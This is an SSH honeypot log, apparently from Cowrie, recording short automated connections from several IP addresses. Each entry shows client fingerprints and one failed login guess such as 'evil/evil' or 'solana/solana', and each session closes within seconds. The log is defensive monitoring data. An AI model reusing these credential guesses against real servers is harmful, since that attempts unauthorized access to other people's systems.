{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:10.039824Z","src_ip":"101.36.123.173","session":"dde370c27f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:10.255991Z","src_ip":"101.36.123.173","session":"dde370c27f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"94cc2704cd2b","protocol":"ssh","message":"New connection: 210.79.191.199:60910 (10.17.0.5:22) [session: 94cc2704cd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:10.877181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:10.939607Z","src_ip":"210.79.191.199","session":"94cc2704cd2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"123","message":"login attempt [frontend/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:11.150927Z","src_ip":"101.36.123.173","session":"dde370c27f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:11.182395Z","src_ip":"210.79.191.199","session":"94cc2704cd2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evil","password":"evil","message":"login attempt [evil/evil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:12.209892Z","src_ip":"210.79.191.199","session":"94cc2704cd2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:12.370128Z","src_ip":"101.36.123.173","session":"dde370c27f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:13.461926Z","src_ip":"210.79.191.199","session":"94cc2704cd2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":59170,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd0ce91bf9c","protocol":"ssh","message":"New connection: 165.154.6.86:59170 (10.17.0.5:22) [session: ecd0ce91bf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:21.001925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:21.006544Z","src_ip":"165.154.6.86","session":"ecd0ce91bf9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:21.222007Z","src_ip":"165.154.6.86","session":"ecd0ce91bf9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evil","password":"evil","message":"login attempt [evil/evil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:22.118516Z","src_ip":"165.154.6.86","session":"ecd0ce91bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:23.338268Z","src_ip":"165.154.6.86","session":"ecd0ce91bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":26820,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbc881ba6cc","protocol":"ssh","message":"New connection: 64.188.83.153:26820 (10.17.0.5:22) [session: 0bbc881ba6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:26.699702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:26.703482Z","src_ip":"64.188.83.153","session":"0bbc881ba6cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:26.789797Z","src_ip":"64.188.83.153","session":"0bbc881ba6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"gitspass","message":"login attempt [gits/gitspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:27.167065Z","src_ip":"64.188.83.153","session":"0bbc881ba6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:28.254401Z","src_ip":"64.188.83.153","session":"0bbc881ba6cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":44574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b74a5bc3197","protocol":"ssh","message":"New connection: 103.59.94.61:44574 (159.203.135.109:22) [session: 5b74a5bc3197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:30.557854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:30.563184Z","src_ip":"103.59.94.61","session":"5b74a5bc3197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:30.813955Z","src_ip":"103.59.94.61","session":"5b74a5bc3197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test6","password":"test6pass","message":"login attempt [test6/test6pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:31.911672Z","src_ip":"103.59.94.61","session":"5b74a5bc3197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:33.366605Z","src_ip":"103.59.94.61","session":"5b74a5bc3197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":35512,"dst_ip":"10.17.0.5","dst_port":22,"session":"78339d1b0480","protocol":"ssh","message":"New connection: 207.180.205.155:35512 (10.17.0.5:22) [session: 78339d1b0480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:54.848962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:54.852998Z","src_ip":"207.180.205.155","session":"78339d1b0480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:54.946298Z","src_ip":"207.180.205.155","session":"78339d1b0480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logviewer","password":"logviewerpass","message":"login attempt [logviewer/logviewerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:55.407537Z","src_ip":"207.180.205.155","session":"78339d1b0480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:22:56.499941Z","src_ip":"207.180.205.155","session":"78339d1b0480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":49220,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7fb5a4f1d8","protocol":"ssh","message":"New connection: 210.79.191.18:49220 (10.17.0.5:22) [session: ed7fb5a4f1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:05.820894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:05.825596Z","src_ip":"210.79.191.18","session":"ed7fb5a4f1d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:06.065502Z","src_ip":"210.79.191.18","session":"ed7fb5a4f1d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mirror","password":"mirror","message":"login attempt [mirror/mirror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:07.058382Z","src_ip":"210.79.191.18","session":"ed7fb5a4f1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:08.300224Z","src_ip":"210.79.191.18","session":"ed7fb5a4f1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60762,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c4d1915c34c","protocol":"ssh","message":"New connection: 2.57.122.208:60762 (10.17.0.5:22) [session: 8c4d1915c34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:12.932321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:12.954584Z","src_ip":"2.57.122.208","session":"8c4d1915c34c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:13.054220Z","src_ip":"2.57.122.208","session":"8c4d1915c34c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:13.471418Z","src_ip":"2.57.122.208","session":"8c4d1915c34c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:14.570398Z","src_ip":"2.57.122.208","session":"8c4d1915c34c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":12766,"dst_ip":"10.17.0.5","dst_port":22,"session":"03467f587ef0","protocol":"ssh","message":"New connection: 64.188.83.153:12766 (10.17.0.5:22) [session: 03467f587ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:52.335048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:52.338541Z","src_ip":"64.188.83.153","session":"03467f587ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:52.423291Z","src_ip":"64.188.83.153","session":"03467f587ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ann","password":"ann","message":"login attempt [ann/ann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:52.795323Z","src_ip":"64.188.83.153","session":"03467f587ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:53.882418Z","src_ip":"64.188.83.153","session":"03467f587ef0","protocol":"ssh"}
